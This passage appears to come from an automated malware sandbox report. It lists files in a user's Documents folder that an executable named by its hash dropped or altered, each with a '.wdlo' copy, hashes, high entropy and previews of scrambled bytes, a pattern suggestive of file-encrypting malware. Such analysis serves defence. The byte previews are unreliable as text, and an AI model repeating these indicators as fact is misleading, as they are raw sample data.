Preview:	NVWZAt..S..X9#..sb.....<...?K..F..0._.{.)....{P4.pdO.......9.._.B......"8C.Q...V...'oL.....v...c.7.._..P..%wE..{Q...V.i.'...e...l:..&.oW^,....;U...`d.B.8f..7..!....+d........J.mw...\|..... .)..R{.)....r...KJd.@.r..7.Q_.~a..6....VB>.....f@.v.L9!..1J..d."..A.H.,.9ND..Ov.I.~.6.........aT....-........YD.n..\...S.j...I.../....../v.jh]P+....d...T.X.....F.....p....:.9g...-.bK_..)./(....U..........9.Y..AO[.".........A.U!...,....N.$J.B.3..B.....y+.^y........`....#.N..[..._.M.n[W..(C....z........J.Q6=..p.F..V.....5L..lG.x.j+W....O...n.oO.U.....rE........3.ETL......j..x.Y7.N.%B...+.../J...2.FXBp.R\8.a.`.a.{..&..kU...b.......v9...2.jf.S....S;.1Ah..?..#..jI...m.l.T.\Db}.....4.sV....%.G......q.F...jw.p.S...6..A.l=...Jc..S.(k.?0.FQ...LI"!e.).+...DT...r..A2/\x.6^.w..1..Xk.....{..#_ K.........3...S.k^.Pu.zI.X.#..o..5.....(LJ.;:.&...!.....R.).:\*Y..W.FA.X.-.I.\|.x...m..~o.9..B.~.......r..p.Bd.1.].{!y..P..[.W...U......../7.3...!..9...MZh.7...z.`.....4.4..

C:\Users\user\Documents\NVWZAPQSQL.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849705026711495
Encrypted:	false
SSDEEP:	24:F2ZiaCk/kLp4JhsBv7Rqbc/V/Gr/hiHKA4YF8mXsIBryzXLQqODWMbf3zbD:Fq3fcv7RYcN/Gr/0Z4YFVX3imW+3nD
MD5:	3F58E205776700DD3D7A6A5C2EF61595
SHA1:	3AE3F22C794E698036F1199D7996541531875A8C
SHA-256:	D6EA4BE2CB1F83C893401B4C05DE335CA47EB2E41927A43D8CA2659F1B7777D2
SHA-512:	F971269BD4B072E0E340298A041ABD27887133FD62768B3C9A7CBE9451E9A9635CA64B4E4CBE7DBB63909C3460AF3D66A33520F21E844F6771E364952BE01E36
Malicious:	false
Preview:	NVWZAt..S..X9#..sb.....<...?K..F..0._.{.)....{P4.pdO.......9.._.B......"8C.Q...V...'oL.....v...c.7.._..P..%wE..{Q...V.i.'...e...l:..&.oW^,....;U...`d.B.8f..7..!....+d........J.mw...\|..... .)..R{.)....r...KJd.@.r..7.Q_.~a..6....VB>.....f@.v.L9!..1J..d."..A.H.,.9ND..Ov.I.~.6.........aT....-........YD.n..\...S.j...I.../....../v.jh]P+....d...T.X.....F.....p....:.9g...-.bK_..)./(....U..........9.Y..AO[.".........A.U!...,....N.$J.B.3..B.....y+.^y........`....#.N..[..._.M.n[W..(C....z........J.Q6=..p.F..V.....5L..lG.x.j+W....O...n.oO.U.....rE........3.ETL......j..x.Y7.N.%B...+.../J...2.FXBp.R\8.a.`.a.{..&..kU...b.......v9...2.jf.S....S;.1Ah..?..#..jI...m.l.T.\Db}.....4.sV....%.G......q.F...jw.p.S...6..A.l=...Jc..S.(k.?0.FQ...LI"!e.).+...DT...r..A2/\x.6^.w..1..Xk.....{..#_ K.........3...S.k^.Pu.zI.X.#..o..5.....(LJ.;:.&...!.....R.).:\*Y..W.FA.X.-.I.\|.x...m..~o.9..B.~.......r..p.Bd.1.].{!y..P..[.W...U......../7.3...!..9...MZh.7...z.`.....4.4..

C:\Users\user\Documents\PWCCAWLGRE.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863896358767417
Encrypted:	false
SSDEEP:	24:JE5mVJi7qqOZU9PKRqxh4ZtsqkHq+jgHddn/cOYKlvy88HGbsQnCGKHE3zbD:qmWqq2IP+aI0HEHdN/cOYKo8BbsfGKkT
MD5:	3085D5CCB91B86EDA64C8151C5169BBD
SHA1:	B9AF8CF773FA0D72FDE7EF13B5EA5E34316B06BF
SHA-256:	6DDF47BDC6DDD705C057140D44A5D924E0FA7C3438FCB7200F4737A48182D495
SHA-512:	509C3EA789CE2D5BF2D718872832BE16C5BFF391A9304B767D84D6302BA860630083C0617A13A93D9D92F0A1A05E1B6C2DF633413531A2982ABA5E4276B53418
Malicious:	false
Preview:	PWCCA.y.P..Z.X.~.1..6pZ;~.8M.V..\|hF/.p.i..^A'1Z=..;.KhBh....20.f.?J.O.R?.VKH..W..v...FV.C6.C~..-.n..o..p.R.2,!.\..`r.../1.+%.o.uI..T.:&.T.wl\|.@.f...L...FO.5U...w>.b.....w....1..Z.`.E9.9...@...Z....n..G.(t4.L.....c...Y..<...Y.TG...$.....<.0X)....`AQ..`...O...:>.._...o.;...."..>...1.N....].:.......L....:..O.]..c.I..,.~....V.iu0....6...{vF.i.............#..4o@.jZ.n.{06(wX.W[...R..XK..y&.._V....x..K.g.....$..c.Ko..R.+.eX.z..s......9.,.b{.1......P^.1......Jm........'....\|U......?\|...5%.[Z.J.".-.k.k...ClS.O..-..m..Je.!.......a[N.E..v.'Q......u..l".....}.cv.2...(.....2. u..d^...4..B.l......\|..l..t..2.6..o.3..=G.P..Vc.L.7c.0C..u.....\|...~.I.......\|..[.....ma..5V....0.x......\_.C\.58.uBl..s/..M...O.bQ.X..m5.bXj.....H......G"k...e "..2jAn....m.P.Ld.rSh.B..4.qj..T.l..fkW.La.e.HG.?.>...5.!BK..$R\|....{....j.D..7=..-9.HO.\|.H..c.-b.$..v~.!.g=<..s...H.'..i".X.=.....x...b..b.3.V; +.>...^...Q.^........W....6^.,.....G.F....Wb..{!.......dw}.E`..e?.)...O.t

C:\Users\user\Documents\PWCCAWLGRE.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863896358767417
Encrypted:	false
SSDEEP:	24:JE5mVJi7qqOZU9PKRqxh4ZtsqkHq+jgHddn/cOYKlvy88HGbsQnCGKHE3zbD:qmWqq2IP+aI0HEHdN/cOYKo8BbsfGKkT
MD5:	3085D5CCB91B86EDA64C8151C5169BBD
SHA1:	B9AF8CF773FA0D72FDE7EF13B5EA5E34316B06BF
SHA-256:	6DDF47BDC6DDD705C057140D44A5D924E0FA7C3438FCB7200F4737A48182D495
SHA-512:	509C3EA789CE2D5BF2D718872832BE16C5BFF391A9304B767D84D6302BA860630083C0617A13A93D9D92F0A1A05E1B6C2DF633413531A2982ABA5E4276B53418
Malicious:	false
Preview:	PWCCA.y.P..Z.X.~.1..6pZ;~.8M.V..\|hF/.p.i..^A'1Z=..;.KhBh....20.f.?J.O.R?.VKH..W..v...FV.C6.C~..-.n..o..p.R.2,!.\..`r.../1.+%.o.uI..T.:&.T.wl\|.@.f...L...FO.5U...w>.b.....w....1..Z.`.E9.9...@...Z....n..G.(t4.L.....c...Y..<...Y.TG...$.....<.0X)....`AQ..`...O...:>.._...o.;...."..>...1.N....].:.......L....:..O.]..c.I..,.~....V.iu0....6...{vF.i.............#..4o@.jZ.n.{06(wX.W[...R..XK..y&.._V....x..K.g.....$..c.Ko..R.+.eX.z..s......9.,.b{.1......P^.1......Jm........'....\|U......?\|...5%.[Z.J.".-.k.k...ClS.O..-..m..Je.!.......a[N.E..v.'Q......u..l".....}.cv.2...(.....2. u..d^...4..B.l......\|..l..t..2.6..o.3..=G.P..Vc.L.7c.0C..u.....\|...~.I.......\|..[.....ma..5V....0.x......\_.C\.58.uBl..s/..M...O.bQ.X..m5.bXj.....H......G"k...e "..2jAn....m.P.Ld.rSh.B..4.qj..T.l..fkW.La.e.HG.?.>...5.!BK..$R\|....{....j.D..7=..-9.HO.\|.H..c.-b.$..v~.!.g=<..s...H.'..i".X.=.....x...b..b.3.V; +.>...^...Q.^........W....6^.,.....G.F....Wb..{!.......dw}.E`..e?.)...O.t

C:\Users\user\Documents\QCFWYSKMHA.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839037591955638
Encrypted:	false
SSDEEP:	24:m41946XpF9Q/i1u2KL2SNLBjIoAnKKqklJd36rzeOuDboFyrrz5MzRs93zbD:P19465zGKSRBsoSKKqWHlOuDb20z5iRa
MD5:	5B072812EB492DD57DE6EA57BF9DC649
SHA1:	A5387618D2E83F88E82A4A04F43E2BE3CE43AB2E
SHA-256:	348AB8A8E9C6003F6478A6D9FE50336D1D79BC27F192801F8772DCFA47B8E270
SHA-512:	C79EC6B6B33754D6AC4487313E876E98BD24F22648BB9D67C04FF65A9F548FB403DEE0FAAEE3A1B619A4A615AEA23CE4DF447D3553FE9546523A2CD600D15EF2
Malicious:	false
Preview:	QCFWY$.YX......?x.f...E.<.\..4._.j..SF..?tW.5."../....7..cis...wC..x...VM......P...34.S..`..@@..^.........2 ...!.^^.R8V........y..N...R...}R.N...4..91BV.3h....M...-g.D"Bu.@...9 ...mK.HQ.C..:F...-?.:9cf0....Y.t...e.$.....8.......I..[....oQ.<..L....uo.P.H.W`.1...+5H.J#..^c.h-zQ...zp.\|(.w......[....M.m.Z.k.............3j...m..8..qo.Dl?...R..D.82."..$...`L...087\|_...Vh.a....Q...A.x...'b.\|....\|6..z.Vc<. ..U........R..k...7......T....o.t.W`T........~PRz.N.....T.g.\....C.....<.QL..0......=...2.y..VQ...E.K??Y.w_...g...'..g.D.z..`\|.Y.R...GO.Fm...Re.35...47.y.h..c...0... P.;$.....Hn.{.....$.Fk./..&..lN2.....=.s..Z.u.. ...........c.R...8Y.xp.p2)..-ne..6........5..F.c".U..F....-...y_.!..!v[vh.sV.Gb.......X{..6.rb?.G...".mn.....,.~..m....}o.}.d.........6T&........K...b=.f.....W.JkOsC......2h..\|~.[)xun/.d.-`U.D..x.G.9ei.V.w.kU..}..._./o.OR.....[H%....B1:W.....X{u3N..N....u`f\:..rt...t'...C.$.s.M...a.M..\ k.W.........#....%.}...W...G8.6'....r_.%..0}...

C:\Users\user\Documents\QCFWYSKMHA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839037591955638
Encrypted:	false
SSDEEP:	24:m41946XpF9Q/i1u2KL2SNLBjIoAnKKqklJd36rzeOuDboFyrrz5MzRs93zbD:P19465zGKSRBsoSKKqWHlOuDb20z5iRa
MD5:	5B072812EB492DD57DE6EA57BF9DC649
SHA1:	A5387618D2E83F88E82A4A04F43E2BE3CE43AB2E
SHA-256:	348AB8A8E9C6003F6478A6D9FE50336D1D79BC27F192801F8772DCFA47B8E270
SHA-512:	C79EC6B6B33754D6AC4487313E876E98BD24F22648BB9D67C04FF65A9F548FB403DEE0FAAEE3A1B619A4A615AEA23CE4DF447D3553FE9546523A2CD600D15EF2
Malicious:	false
Preview:	QCFWY$.YX......?x.f...E.<.\..4._.j..SF..?tW.5."../....7..cis...wC..x...VM......P...34.S..`..@@..^.........2 ...!.^^.R8V........y..N...R...}R.N...4..91BV.3h....M...-g.D"Bu.@...9 ...mK.HQ.C..:F...-?.:9cf0....Y.t...e.$.....8.......I..[....oQ.<..L....uo.P.H.W`.1...+5H.J#..^c.h-zQ...zp.\|(.w......[....M.m.Z.k.............3j...m..8..qo.Dl?...R..D.82."..$...`L...087\|_...Vh.a....Q...A.x...'b.\|....\|6..z.Vc<. ..U........R..k...7......T....o.t.W`T........~PRz.N.....T.g.\....C.....<.QL..0......=...2.y..VQ...E.K??Y.w_...g...'..g.D.z..`\|.Y.R...GO.Fm...Re.35...47.y.h..c...0... P.;$.....Hn.{.....$.Fk./..&..lN2.....=.s..Z.u.. ...........c.R...8Y.xp.p2)..-ne..6........5..F.c".U..F....-...y_.!..!v[vh.sV.Gb.......X{..6.rb?.G...".mn.....,.~..m....}o.}.d.........6T&........K...b=.f.....W.JkOsC......2h..\|~.[)xun/.d.-`U.D..x.G.9ei.V.w.kU..}..._./o.OR.....[H%....B1:W.....X{u3N..N....u`f\:..rt...t'...C.$.s.M...a.M..\ k.W.........#....%.}...W...G8.6'....r_.%..0}...

C:\Users\user\Documents\QCFWYSKMHA.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853615666794306
Encrypted:	false
SSDEEP:	24:wnD1opNaYtqW04FI/rynU++GLarswdajq3vbhhrj5qXn52FmFhKuz0LDsWnz0Y3D:wDOpNaCqroUIar7dajq374nQmwEuJ3nD
MD5:	E70290EB400447A6138B1EFA3F319A05
SHA1:	7382A7772F31AC3D8B065F5FB7ED5D17B06AEAA3
SHA-256:	9E0912C5C2B1340FA22ED9DD7DCAF8DB25480C646516892A044E6CA23D38976A
SHA-512:	45443E019E593BEAB004261FA106057A605C550ACF84F57E40AF825DA465F6065F57E9F77E877BADA209DA791BBAF547AE0D4B0BF9F30D8B549C4F752A046697
Malicious:	false
Preview:	QCFWY.~.@...r.(......@...^ws..u..$.C.......S....a.;.Ih..o8...).W.....b.$.J`Q......e...=.S..].^.w.h..cA..PUd...f%.......V..=.&......^..~.....g..HDy-..q.E,.a..C.3.......1.L;.B.&...K.vS.v....F."..L;.A..M7<..k..Zx..r....h.W..~..rcH..,.-.<~..nE.....@.~kI%....x=.x.MlJS.'._..x...ovU.TR`.=....K.4bv&.`..3.............m....x..b....%R.F....?._!.`.:?.k..N.3Q..g.:.=q...G..t..3R+"....6.X[.Oi.N.it.`2<<....._.....Q.sRL{\....7.O..U1T.f;z...........p..a....b...2\.Q.......g...3z.j.......!..T....'.D....2<.3..k.-\|.f...P...No./..X..r&2....m..Bi.[...A5....\|....._....Ud..`...{....0l..M$fy.5.....v..{].&B.K....K><.,,.`.<\"p..^...S.6/.qa.h...R.R..T....s`.-N0...#.O!..].#........G..)G.@q3.R..,......^....d.@.......1M.1......c\.=..t..(...zN .yN#...x..1.....Js-...:.c.jL.%..+Z.V..c.$"..... x.K..+...o .......i?..Ku....l3(..N..o....-1E?.x. ..N.]...X\....R...?N..f....J...\.\...]...S...t.Jy...\m.....".......u>.......{...3$P.L\.sv..u.+].3._....j.u&.....ew...MH...\|.w%F.V...R

C:\Users\user\Documents\QCFWYSKMHA.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853615666794306
Encrypted:	false
SSDEEP:	24:wnD1opNaYtqW04FI/rynU++GLarswdajq3vbhhrj5qXn52FmFhKuz0LDsWnz0Y3D:wDOpNaCqroUIar7dajq374nQmwEuJ3nD
MD5:	E70290EB400447A6138B1EFA3F319A05
SHA1:	7382A7772F31AC3D8B065F5FB7ED5D17B06AEAA3
SHA-256:	9E0912C5C2B1340FA22ED9DD7DCAF8DB25480C646516892A044E6CA23D38976A
SHA-512:	45443E019E593BEAB004261FA106057A605C550ACF84F57E40AF825DA465F6065F57E9F77E877BADA209DA791BBAF547AE0D4B0BF9F30D8B549C4F752A046697
Malicious:	false
Preview:	QCFWY.~.@...r.(......@...^ws..u..$.C.......S....a.;.Ih..o8...).W.....b.$.J`Q......e...=.S..].^.w.h..cA..PUd...f%.......V..=.&......^..~.....g..HDy-..q.E,.a..C.3.......1.L;.B.&...K.vS.v....F."..L;.A..M7<..k..Zx..r....h.W..~..rcH..,.-.<~..nE.....@.~kI%....x=.x.MlJS.'._..x...ovU.TR`.=....K.4bv&.`..3.............m....x..b....%R.F....?._!.`.:?.k..N.3Q..g.:.=q...G..t..3R+"....6.X[.Oi.N.it.`2<<....._.....Q.sRL{\....7.O..U1T.f;z...........p..a....b...2\.Q.......g...3z.j.......!..T....'.D....2<.3..k.-\|.f...P...No./..X..r&2....m..Bi.[...A5....\|....._....Ud..`...{....0l..M$fy.5.....v..{].&B.K....K><.,,.`.<\"p..^...S.6/.qa.h...R.R..T....s`.-N0...#.O!..].#........G..)G.@q3.R..,......^....d.@.......1M.1......c\.=..t..(...zN .yN#...x..1.....Js-...:.c.jL.%..+Z.V..c.$"..... x.K..+...o .......i?..Ku....l3(..N..o....-1E?.x. ..N.]...X\....R...?N..f....J...\.\...]...S...t.Jy...\m.....".......u>.......{...3$P.L\.sv..u.+].3._....j.u&.....ew...MH...\|.w%F.V...R

C:\Users\user\Documents\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849494266877024
Encrypted:	false
SSDEEP:	24:skApPKjhaIT0l4qYwgqsW4wz0BMrrIflZDOiVI63vJlbcw3AqmDiEglXp3zbD:skxhLIlSwgDW46FrrMyiVIsnbme/p3nD
MD5:	7D566AD534290B61DFEC5C7A66BC0469
SHA1:	C1943D2085FC979FFE545E057AE2124BD42CBD23
SHA-256:	9AE9F48F0A96447588473B2F5A57D82BB01DDFBB42B851089AC559C127650C69
SHA-512:	470336265FE9405BF3CC346790292486C83D5FD4FF30AE2F11DB56EEAA776D61E1F992E20B33F578D41C9894881771179B79418C7809F384B178D3AB2D6B5F95
Malicious:	false
Preview:	SFPUS.-/......u......V..dl..i@..j.Y....6l{+...E...y(..bg.x.Y~;R..Y'T...'.8/....=.sI....&...(b_=ef......#\|.5..z..'........%f.....&..#..........k..T.....e.@Z...........N}<k.....r/...).3....F.^. ..\|.K...w...#..Se.q6.....,3.P........<.$.7.....N...._..3e....5.y<.j.a,Q.D]..J.q...Rq.....z....4....R..{!..M`..V....P..l9.....x7.. J.b..J..Z..!i,...B.....uA.k@..Z=.i?!.2.:...#n..\...\..v........{l.... .FX..k#..bs.O4..-.H.(.I.3..:. .0~.q."v.A....cX,...S\|.'=t.@...X.Z.p..I:..u..NMt{.p#S\<....2u.).....#...4...,.PO.#$r:I.....(..;0..Z_..N+.....'.2()p..I*l.zu#.\|.L...........I...h.5>.y..P4...h^>g.bs...Be7.c.F...5..h.H..a6...f._...ZLp..I.Uj...Dq.'..e ..k:/O....}..4...,.U...0.E...Rk.B....B....^C..-q~.eeN.4`z...'."..AK......`..r;."$.6..h.]Cr.'.,"W$.A+fs...3..'si....1.ZLe.#...).(m#..pL....Ca...?U.M!.!.?Gj.\|_..C. m%..e.1.x....y...Z...........v..#.x.=....gLY'.G.....E.h....Z[yc%D..}-.{F..=q&..p...w....c..r.$...Qw.j..2.o.KJ...+.v........W1.u1.0m9.R.w.....N~.C5....2^..

C:\Users\user\Documents\SFPUSAFIOL.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849494266877024
Encrypted:	false
SSDEEP:	24:skApPKjhaIT0l4qYwgqsW4wz0BMrrIflZDOiVI63vJlbcw3AqmDiEglXp3zbD:skxhLIlSwgDW46FrrMyiVIsnbme/p3nD
MD5:	7D566AD534290B61DFEC5C7A66BC0469
SHA1:	C1943D2085FC979FFE545E057AE2124BD42CBD23
SHA-256:	9AE9F48F0A96447588473B2F5A57D82BB01DDFBB42B851089AC559C127650C69
SHA-512:	470336265FE9405BF3CC346790292486C83D5FD4FF30AE2F11DB56EEAA776D61E1F992E20B33F578D41C9894881771179B79418C7809F384B178D3AB2D6B5F95
Malicious:	false
Preview:	SFPUS.-/......u......V..dl..i@..j.Y....6l{+...E...y(..bg.x.Y~;R..Y'T...'.8/....=.sI....&...(b_=ef......#\|.5..z..'........%f.....&..#..........k..T.....e.@Z...........N}<k.....r/...).3....F.^. ..\|.K...w...#..Se.q6.....,3.P........<.$.7.....N...._..3e....5.y<.j.a,Q.D]..J.q...Rq.....z....4....R..{!..M`..V....P..l9.....x7.. J.b..J..Z..!i,...B.....uA.k@..Z=.i?!.2.:...#n..\...\..v........{l.... .FX..k#..bs.O4..-.H.(.I.3..:. .0~.q."v.A....cX,...S\|.'=t.@...X.Z.p..I:..u..NMt{.p#S\<....2u.).....#...4...,.PO.#$r:I.....(..;0..Z_..N+.....'.2()p..I*l.zu#.\|.L...........I...h.5>.y..P4...h^>g.bs...Be7.c.F...5..h.H..a6...f._...ZLp..I.Uj...Dq.'..e ..k:/O....}..4...,.U...0.E...Rk.B....B....^C..-q~.eeN.4`z...'."..AK......`..r;."$.6..h.]Cr.'.,"W$.A+fs...3..'si....1.ZLe.#...).(m#..pL....Ca...?U.M!.!.?Gj.\|_..C. m%..e.1.x....y...Z...........v..#.x.=....gLY'.G.....E.h....Z[yc%D..}-.{F..=q&..p...w....c..r.$...Qw.j..2.o.KJ...+.v........W1.u1.0m9.R.w.....N~.C5....2^..

C:\Users\user\Documents\SFPUSAFIOL\GAOBCVIQIJ.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858677459807747
Encrypted:	false
SSDEEP:	24:h5znHTBO4f01hKA2eCh/bozrqkgIKr+tPRXIBnJs7MjveVrAEP+V4wQPKFL3zbD:jHBXfcYAQ/bozr6kRN7t0EmV4w393nD
MD5:	E4FDCBD0F3A97B39B3ADDB1A6E68AD1C
SHA1:	664A4B49E96AAC43C7C98326D3F38C129EF7D17C
SHA-256:	A9A8D7FF2AEB38A4E3B0CBBFC229575CCABEAD717EEB1CD6DB26841A828C3B20
SHA-512:	3ACD753CCB7FBA7477A00176D3A260E3469F49A9C225D5F0E293D7FC8B59FA7F0B2A3335D06B25C44487358BFD6A09E2959BA0A7EA89F198883BD6946442004F
Malicious:	false
Preview:	GAOBC..JK..+.~.2...._.<...$.t....5.hwA......e..q.O>=..cB..../....A!A.[>._."k..]k....6..v..t..X....0.y-."0......f...X(^.2.sF..f..[2B.=...A}...n.......@...ag......m\....:C.%F...!.?.......P..\.f;...E...]U.....K.D.@....y.8g7XA...QU.`P...%T.-\..!...#?.a....5w........@...9.I..5@c....S.x)..Xn.v. ;...D...l...'J.3..j..~.ij...y..Zt.bo.Ak.h!.A....A....L.Z&..=0X..0.......>.5..9bg...h..O.!.....B..S....eodp..X.`..u.s{hM)9..`..z@.9...M..+...W..........L.s8w"kQ.=...L<..S.....I/..H.U..Z..!\p......y.!...k....Z.).5.8\4........1.P@k{N.....o...Gg.a...b%Q./+..b.!.\|..P...g.m.K.d.......q(.....,]N.ERN-..._..Y:K......i.7l._..w{C..].>.h.I..D....h......2.B./.B.:D..?.k\|.@...:...W.'ht...I......N...o..J.......v..u,.n.6.......@...j}@E.{..;......F.U>=r.o..a..V...z.g.....t..%!...t.bz.}B...b...K.b..V...a@.D.#....R....).:.z..\......J. 7=S9.N...]..aygF..bRj..o...D...k0D.q_.PK.N&..4RM.+6>....r...q...A.>}.E...+oT.Dq. /,S.[.;.......I9.......~...........}.B...dl..

C:\Users\user\Documents\SFPUSAFIOL\GAOBCVIQIJ.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858677459807747
Encrypted:	false
SSDEEP:	24:h5znHTBO4f01hKA2eCh/bozrqkgIKr+tPRXIBnJs7MjveVrAEP+V4wQPKFL3zbD:jHBXfcYAQ/bozr6kRN7t0EmV4w393nD
MD5:	E4FDCBD0F3A97B39B3ADDB1A6E68AD1C
SHA1:	664A4B49E96AAC43C7C98326D3F38C129EF7D17C
SHA-256:	A9A8D7FF2AEB38A4E3B0CBBFC229575CCABEAD717EEB1CD6DB26841A828C3B20
SHA-512:	3ACD753CCB7FBA7477A00176D3A260E3469F49A9C225D5F0E293D7FC8B59FA7F0B2A3335D06B25C44487358BFD6A09E2959BA0A7EA89F198883BD6946442004F
Malicious:	false
Preview:	GAOBC..JK..+.~.2...._.<...$.t....5.hwA......e..q.O>=..cB..../....A!A.[>._."k..]k....6..v..t..X....0.y-."0......f...X(^.2.sF..f..[2B.=...A}...n.......@...ag......m\....:C.%F...!.?.......P..\.f;...E...]U.....K.D.@....y.8g7XA...QU.`P...%T.-\..!...#?.a....5w........@...9.I..5@c....S.x)..Xn.v. ;...D...l...'J.3..j..~.ij...y..Zt.bo.Ak.h!.A....A....L.Z&..=0X..0.......>.5..9bg...h..O.!.....B..S....eodp..X.`..u.s{hM)9..`..z@.9...M..+...W..........L.s8w"kQ.=...L<..S.....I/..H.U..Z..!\p......y.!...k....Z.).5.8\4........1.P@k{N.....o...Gg.a...b%Q./+..b.!.\|..P...g.m.K.d.......q(.....,]N.ERN-..._..Y:K......i.7l._..w{C..].>.h.I..D....h......2.B./.B.:D..?.k\|.@...:...W.'ht...I......N...o..J.......v..u,.n.6.......@...j}@E.{..;......F.U>=r.o..a..V...z.g.....t..%!...t.bz.}B...b...K.b..V...a@.D.#....R....).:.z..\......J. 7=S9.N...]..aygF..bRj..o...D...k0D.q_.PK.N&..4RM.+6>....r...q...A.>}.E...+oT.Dq. /,S.[.;.......I9.......~...........}.B...dl..

C:\Users\user\Documents\SFPUSAFIOL\IPKGELNTQY.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840992766766236
Encrypted:	false
SSDEEP:	24:ldDtb0W/mZOEwmEG4b6gZZ99UxadBFqj4MQxWB3HbyZzdA63zbD:nDtbZmZEmER6gZZ99Uxu7EpodA63nD
MD5:	305049D705B1D9312AF3729891DCA96A
SHA1:	6204C5D779078F53501912DB5916B6F4394C01CC
SHA-256:	1B51F29971AD3B1500E7E9A8A7E53182E4DA6EBB89BD853DD3A04C5E3C19B929
SHA-512:	2F3104AA1BC0A4F8EFB5CA9C5A14467E6ACF213BEA77F4CC1CE17B5A914B9869F9AC22016C5430D493D2C278A13D483F4A8311181F3DFA4821AB37A3404AA60B
Malicious:	false
Preview:	IPKGEi.5..T......l.E...`R.(...P.C.J.=_.].'.B.5.B...zq.....g....C... 2X.]lD....1{.$.9.G.9.H...h..F.?.+F.`#m.....q8.".......q....i.......>.{..D..gJ..C+.uVs_S...S2.....4.....r..l>.K.&.\.._..1.SX0..Y.AZ}:+....=.8'....ir.T..>..1[#...Y.^.W....;..z..&f.Cj.Sxj....F.;I.F..7Wf..a}..\.......x..`.P..z^.....38.Q..iBrU...i....Y-....V.(._z.?E..`..a....~9Y.>......~...N.v.....}..p.!u.$t}......?..GA.......+..pF..$.....g9(.s18.D.].....D..N...U.L!3Q.g........I..)....\|...P.-Z...mB_a..G.).....i0.a...R. g:........y..c..=.vOQ\.{p...-..i.......O..J....m.>.....n.P)....L.y./....b2.6_..C...&f..j.q....CY+..\.W.lY6;..&..P..X..m.paG1ES..U..)._Y(..6eN....\|Mv9.......3.%..o.4MM...Fm.[.{>.$P...{7;%..S.,..Pwj...@.9Z.s.`...j.r9....d..a..T....d.I...b)k.#g..R....._X..B<.&....4....G.......>.:.!]"..7.;.D&h.,VX..X.....-.$o.1!.b..T+..[..-.G.`.X.u..F.z...2.Z......u\..9....qcPe'.V....^.......5#..).rD.h{3uS_(N.?*.'..........Ch.B..[....au_HZ...7JcE..6f.e.......;.o^...V.w

C:\Users\user\Documents\SFPUSAFIOL\IPKGELNTQY.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840992766766236
Encrypted:	false
SSDEEP:	24:ldDtb0W/mZOEwmEG4b6gZZ99UxadBFqj4MQxWB3HbyZzdA63zbD:nDtbZmZEmER6gZZ99Uxu7EpodA63nD
MD5:	305049D705B1D9312AF3729891DCA96A
SHA1:	6204C5D779078F53501912DB5916B6F4394C01CC
SHA-256:	1B51F29971AD3B1500E7E9A8A7E53182E4DA6EBB89BD853DD3A04C5E3C19B929
SHA-512:	2F3104AA1BC0A4F8EFB5CA9C5A14467E6ACF213BEA77F4CC1CE17B5A914B9869F9AC22016C5430D493D2C278A13D483F4A8311181F3DFA4821AB37A3404AA60B
Malicious:	false
